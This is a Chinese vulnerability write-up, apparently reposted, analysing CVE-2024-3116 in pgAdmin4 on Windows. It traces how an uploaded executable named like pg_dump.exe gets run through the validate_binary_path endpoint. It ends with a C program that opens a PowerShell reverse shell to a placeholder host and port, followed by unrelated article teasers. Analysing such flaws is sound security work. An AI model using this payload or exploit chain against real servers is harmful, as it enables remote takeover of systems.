CVE-2024-3116 PgAdmin8.4代码执行漏洞

news2024/11/23 12:55:23

前言

在有闲情的时候,看了一下最近的CVE,看到了pgAdmin4在8.4版本之前存在着一个远程代码执行漏洞,因为pgAdmin4github是开源的,网上也没有看到分析文章,于是就把源码下载了下来,根据漏洞的描述大致的分析了一下代码的触发原因。

关于PgAdmin

pgAdmin4根据网上的资料说,是免费开源的管理PostgreSQL的数据库管理工具,应该就是类似于phpMyAdmin那个样子,提供一个Web网页端的界面,能够通过图形化的界面来操作PostgreSQL数据库,比如说点击一些创建、删除、修改、查询等按钮能够执行相应的功能,为操作PostgreSQL数据库更加的人性化,从源码上来看pgAdmin是以Python Django框架开发的,所以整个源码读起来并没有很困难。

笔者并没有接触过这个系统,所以下文从代码层面简单看看漏洞的成因。

从官方描述中找到的pgAdmin的界面图:

 

pgAdmin4

漏洞分析

根据阿里云漏洞库的描述:当pgAdmin4 运行在Window平台时,攻击者在登陆后可利用validate_binary_path接口构造恶意请求造成远程代码执行,这里特意标明了系统的漏洞平台是Window平台,这是我看到漏洞描述的时候比较疑惑而且注重的一个点。

根据漏洞的产生接口validate_binary_path找到了所属的方法代码:

@blueprint.route("/validate_binary_path",
                 endpoint="validate_binary_path",
                 methods=["POST"])
@login_required
def validate_binary_path():
    data = None
    if hasattr(request.data, 'decode'):
        data = request.data.decode('utf-8')
    if data != '':
        data = json.loads(data)

    version_str = ''
    if 'utility_path' in data and data['utility_path'] is not None:
        binary_versions = get_binary_path_versions(data['utility_path'])
        for utility, version in binary_versions.items():
            if version is None:
                version_str += "<b>" + utility + ":</b> " + \
                               "not found on the specified binary path.<br/>"
            else:
                version_str += "<b>" + utility + ":</b> " + version + "<br/>"
    else:
        return precondition_required(gettext('Invalid binary path.'))

    return make_json_response(data=gettext(version_str), status=200)

代码从request请求中获取POST方法中传输的数据,当获取到的不为空,则通过JSON的形式解析,也就是这里传输JSON数据的接口,如果utility_path存在JSON键中,则调用了get_binary_path_versions方法解析成binary_versions字典,随后循环遍历binary_versions,产生一个响应的字符串version_str,通过make_json_responseversion_str返回到浏览器中。

在上面的路径处理的主要方法并没有看到与命令执行有关的东西,所以转向了它调用的方法,这里除了调用make_json_response统一的返回响应方法,就只调用了get_binary_path_versions,看看这个方法。

UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql'] #在constants文件当中
def get_binary_path_versions(binary_path: str) -> dict:
    ret = {}
    binary_path = os.path.abspath(
        replace_binary_path(binary_path)
    )

    for utility in UTILITIES_ARRAY:
        ret[utility] = None
        full_path = os.path.join(binary_path,
                                 (utility if os.name != 'nt' else
                                  (utility + '.exe')))
        try:
            if not os.path.isdir(binary_path):
                current_app.logger.warning('Invalid binary path.')
                raise Exception()
            cmd = subprocess.run(
                [full_path, '--version'],
                shell=False,
                capture_output=True,
                text=True
            )
            if cmd.returncode == 0:
                ret[utility] = cmd.stdout.split(") ", 1)[1].strip()
            else:
                raise Exception()
        except Exception as _:
            continue

    return ret


def replace_binary_path(binary_path):
    if "$DIR" in binary_path:
        # When running as an WSGI application, we will not find the
        # '__file__' attribute for the '__main__' module.
        main_module_file = getattr(
            sys.modules['__main__'], '__file__', None
        )

        if main_module_file is not None:
            binary_path = binary_path.replace(
                "$DIR", os.path.dirname(main_module_file)
            )

    return binary_path

这个方法的代码接收utility_path路径的值,随后获取传入值的绝对路径,replace_binary_path用于处理替换$DIR为正确的路径,随后就进入了for循环遍历UTILITIES_ARRAY,将绝对路径与循环得到的值拼接,如果是Windows系统则会添加上.exe,随后判断路径是否存在,存在则调用subprocess.run执行文件,输出版本号。也就是这个方法的本意在于调用pg_dump,psql或pg_dump.exe等命令输出版本号。

这里存在着命令执行的条件就是subprocess.run(),绝对路径full_path的值也是我们可控的,如果存在类似于文件上传的点使得执行的程序可控,那么就可以进行远程命令执行,而在pgAdmin4中也确实存在这样的功能。

 

方法对应的代码如下:

@blueprint.route(
    "/filemanager/<int:trans_id>/",
    methods=["POST"], endpoint='filemanager'
)
@login_required
def file_manager(trans_id):
    mode = ''
    kwargs = {}
    if req.method == 'POST':
        if req.files:
            mode = 'add'
            kwargs = {'req': req,
                      'storage_folder': req.form.get('storage_folder', None)}
        else:
            kwargs = json.loads(req.data)
            kwargs['req'] = req
            mode = kwargs['mode']
            del kwargs['mode']
    elif req.method == 'GET':
        kwargs = {
            'path': req.args['path'],
            'name': req.args['name'] if 'name' in req.args else ''
        }
        mode = req.args['mode']
    ss = kwargs['storage_folder'] if 'storage_folder' in kwargs else None
    my_fm = Filemanager(trans_id, ss)

    if ss and mode in ['upload', 'rename', 'delete', 'addfolder', 'add',
                       'permission']:
        my_fm.check_access(ss)
    func = getattr(my_fm, mode)
    try:
        if mode in ['getfolder', 'download']:
            kwargs.pop('name', None)

        if mode in ['add']:
            kwargs.pop('storage_folder', None)

        if mode in ['addfolder', 'getfolder', 'rename', 'delete',
                    'is_file_exist', 'req', 'permission', 'download']:
            kwargs.pop('req', None)
            kwargs.pop('storage_folder', None)

        res = func(**kwargs)
    except PermissionError as e:
        return unauthorized(str(e))

    if isinsta nce(res, Response):
        return res
    return make_json_response(data={'result': res, 'status': True})

方法通过请求的方式确实要执行的模式,如果是POST请求,则执行的模式是add,随后创建了Filemanager类,通过check_access方法判断权限问题,随后通过getattr获取到对应的add方法,通过func(**kwargs)的形式调用add方法完成文件上传。

add的方法如下,通过获取newfile参数的内容和名称,将filename名称和共享路径进行拼接,随后读取文件流,写入到文件中,完成文件上传的功能,最后以JSON的形式返回路径的值和新的名称:

def add(self, req=None):
        if not self.validate_request('upload'):
            return unauthorized(self.ERROR_NOT_ALLOWED['Error'])
        if self.shared_dir:
            the_dir = self.shared_dir
        else:
            the_dir = self.dir if self.dir is not None else ''
        try:
            path = req.form.get('currentpath')

            file_obj = req.files['newfile']
            file_name = file_obj.filename
            orig_path = "{0}{1}".format(the_dir, path)
            new_name = "{0}{1}".format(orig_path, file_name)
            try:
                if config.SERVER_MODE:
                    pathlib.Path(
                        os.path.abspath(
                            os.path.join(the_dir, new_name)
                        )
                    ).relative_to(the_dir)
            except ValueError:
                return unauthorized(self.ERROR_NOT_ALLOWED['Error'])
            with open(new_name, 'wb') as f:
                while True:
                    data = file_obj.read(4194304)
                    if not data:
                        break
                    f.write(data)
        except OSError as e:
            return internal_server_error("{0} {1}".format(
                gettext('There was an error adding the file:'), e.strerror))

        Filemanager.check_access_permission(the_dir, path)

        return {
            'Path': path,
            'Name': new_name,
        }

也就说以上的条件是满足的,以文件上传控制执行的文件+full_path控制路径的形式达到RCE的效果。那么为什么仅限于Windows系统呢,这个其实我也并不是很清楚,我个人认为是因为Windows系统相对于Linux系统的文件权限并没有那么严格,所以当你上传一个exe文件的时候,不需要赋予执行的权限就可以直接执行,而linux系统需要通过chmod +x的形式赋予执行权限才能够执行导致漏洞利用失败导致的,

因此,通过编译成恶意的exe的形式,上传到pgAdmin4中并控制路径执行,即可达到RCE的效果,比如将以下脚本编译成exe即可反弹shell,脚本参考自TechieNeurons师傅。这里需要注意的是filename的值并不是任意的,因为UTILITIES_ARRAY的限制控制了最终的执行文件的命名,所以filename的值只能是UTILITIES_ARRAY中的一个。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
    if (argc > 1 && strcmp(argv[1], "--version") == 0) {
        system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ip',port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    } else {
        printf("Usage: %s --version\n", argv[0]);
    }
    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1633583.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux服务器终端软件termius以及Xshell + WinSCP组合

1. termius 官网地址&#xff1a;https://termius.com/ Termius是一个跨平台的SSH客户端&#xff0c;它提供了一个便捷的方式来远程连接和管理服务器、虚拟机和网络设备。以下是Termius的一些特点和功能&#xff1a; 跨平台支持&#xff1a;Termius可在多个操作系统上运行&…

JS事件循环、宏任务与微任务

在JavaScript中&#xff0c;事件循环&#xff08;Event Loop&#xff09;是处理异步操作的核心机制。它负责执行代码&#xff0c;处理事件&#xff0c;并在适当的时候调度回调。为了更好地理解JavaScript的执行模型&#xff0c;我们需要深入探讨事件循环、宏任务&#xff08;Ma…

分布式与一致性协议之Raft算法(二)

Raft算法 什么是任期 我们知道&#xff0c;议会选举中的领导者是有任期的&#xff0c;当领导者任命到期后&#xff0c;需要重新再次选举。Raft算法中的领导者也是有任期&#xff0c;每个任期由单调递增的数字(任期编号)标识。比如&#xff0c;节点A的任期编号是1。任期编号会…

基于Docker + Locust的数据持久化性能测试系统

前几天给大家分享了如何使用Locust进行性能测试&#xff0c;但是在实际使用中会发现存在压测的结果无法保存的问题&#xff0c;比如在分布式部署情况下进行压测&#xff0c;每轮压测完成需要释放资源删除容器重新部署后&#xff0c;这段时间的压测结果就都丢失了&#xff0c;如…

Nacos 安全零信任实践

作者&#xff1a;柳遵飞 Nacos 作为配置中心经常存储一些敏感信息&#xff0c;但是由于误用导致安全风险&#xff0c;最常见的主要是以下两个问题&#xff1a; 1&#xff09;Nacos 暴露公网可以吗&#xff1f;不可以&#xff0c;因为 Nacos 定位是注册配置中心&#xff0c;是…

【STM32+HAL】SDIO模式读写SD卡

一、准备工作 有关CUBEMX的初始化配置&#xff0c;参见我的另一篇blog&#xff1a;【STM32HAL】CUBEMX初始化配置 二、所用工具 1、芯片&#xff1a; STM32F407ZGT6 2、IDE&#xff1a; MDK-Keil软件 3、库文件&#xff1a;STM32F4xxHAL库 三、实现功能 实现用DMA读写SD卡内…

Hadoop3:集群搭建及常用命令与shell脚本整理(入门篇,从零开始搭建)

一、集群环境说明 1、用VMware安装3台Centos7.9虚拟机 2、虚拟机配置&#xff1a;2C&#xff0c;2G内存&#xff0c;50G存储 3、集群架构 从表格中&#xff0c;可以看出&#xff0c;Hadoop集群&#xff0c;主要有2部分&#xff0c;一个是HDFS服务&#xff0c;一个是YARN服务 …

CSS中的层叠上下文

HTML 文档中的三维概念 平时我们从设备终端看到的 HTML 文档都是一个平面的&#xff0c;事实上 HTML 文档中的元素却是存在于三个维度中。除了大家熟悉的平面画布中的 x 轴和 y 轴&#xff0c;还有控制第三维度的 z 轴。 其中 x 轴通常用来表示水平位置&#xff0c;y 轴来表示…

力扣刷题Day2

题目链接&#xff1a; 24. 两两交换链表中的节点 - 力扣&#xff08;LeetCode&#xff09; 效果&#xff1a; 解题思路&#xff1a; 给定一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后的链表。 注意不可以只是单纯的改变节点内部的值&#xff0c;而…

面试:MYSQL(SQL优化、MYSQL事务)

目录 一、SQL优化 1、如何定位慢查询 &#xff08;1&#xff09;方案一&#xff1a;开源工具 &#xff08;2&#xff09;方案二&#xff1a;慢日志查询 2、定位到慢查询时&#xff0c;如何优化 3、什么是索引 &#xff08;1&#xff09;底层结构 4、聚簇索引&#xff0…

linux学习:线程安全(信号量+互斥锁读写锁+条件变量+可重入函数)

目录 信号量 有名信号量 步骤 api 创建、打开一个POSIX有名信号量 对 POSIX 有名信号量进行 P、V 操作 关闭、删除 POSIX 有名信号量 例子 无名信号量 步骤 api 初始化、销毁 POSIX 无名信号量 互斥锁读写锁 例子 两条线程 使用互斥锁来互斥地访问标准输出 在加锁…

UE Snap03 启动参数设置

UE Snap03 启动参数设置 UE打包后传入自定义参数及解析。 void UGameInstance::StartGameInstance() {Super::StartGameInstance();UE_LOG(LogTemp, Warning, TEXT("--StartGameInstance--"));FString param;FParse::Value(FCommandLine::Get(), TEXT("-UserN…

# 谷歌 Chrome 浏览器无法安装插件的解决方法

谷歌 Chrome 浏览器无法安装插件的解决方法 运用开发模式安装 安装步骤&#xff1a; 1、 将 XX.crx 插件的扩展名改成 .zip 或者 .rar 并解压到文件夹 XX 目录。 1&#xff09;如&#xff1a;下载的 前端框架 vue.js 插件 nhdogjmejiglipccpnnnanhbledajbpd-6.6.1-Crx4Chro…

Isaac Sim 2 (学习笔记4.26)

今天一整天都要开会&#xff0c;闲的无聊&#xff0c;把这周学的东西简单整理下。纯英文文档想不起来东西的时候总是找不到位置...持续更新一整天 1.将块与块连接起来 尝试连接块与块的时候发现只能是cube、mesh连接&#xff0c;如果是一整个的包括坐标系、材质包等等&#xf…

阿里云服务器购买和设置

&#x1f40c;博主主页&#xff1a;&#x1f40c;​倔强的大蜗牛&#x1f40c;​ &#x1f4da;专栏分类&#xff1a;服务器❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 目录 1、搜索阿里云网址&#xff1a; 2、点击产品&#xff0c;选择云服务器ECS 3、选择立即购买 4、选…

C# Web控件与数据感应之 Control 类

目录 关于数据感应 Control 类 范例运行环境 simpleDataListEx方法 设计 实现 调用示例 数据源 调用 小结 关于数据感应 数据感应也即数据捆绑&#xff0c;是一种动态的&#xff0c;Web控件与数据源之间的交互&#xff0c;诸如 ListControl 类类型控件&#xff0c;在…

uni-app - 使用地图功能打包安卓apk的完美流程以及重要的注意事项(带您一次打包成功)

在移动应用开发中&#xff0c;地图功能是一个非常常见且实用的功能&#xff0c;可以帮助用户快速定位并浏览周边信息。而在uni-app开发中&#xff0c;使用地图功能也是一项必备技能。本文将介绍uni-app使用地图功能打包安卓apk的注意事项&#xff0c;帮助开发者顺利完成地图功能…

万兆以太网MAC设计(12)万兆UDP协议栈上板与主机网卡通信

文章目录 一、设置IP以及MAC二、上板效果2.1、板卡与主机数据回环测试2.2、板卡满带宽发送数据 一、设置IP以及MAC 顶层模块设置源MAC地址 module XC7Z100_Top#(parameter P_SRC_MAC 48h01_02_03_04_05_06,parameter P_DST_MAC 48hff_ff_ff_ff_ff_ff )(input …

excel图表如何忽略空值呢?

在excel柱形图和折线图中有多余的空值&#xff0c;如何不把空值当成0值处理&#xff0c;可以达到第二个图的效果? 添加图片注释&#xff0c;不超过 140 字&#xff08;可选&#xff09; 用的excel2019已经是自动将这些空值忽略了&#xff0c;在低版本上&#xff0c;是会将空值…

2024年想创业做电商,视频号小店绝对是最明智的选择!

大家好&#xff0c;我是电商糖果 在电商行业摸爬滚打了七年时间了&#xff0c;做过天猫&#xff0c;京东&#xff0c;闲鱼。 目前在做的项目只有两个&#xff0c;一个是抖音小店&#xff0c;已经做了四年多了。 另一个就是视频号小店&#xff0c;现在做了有一年多了。 视频…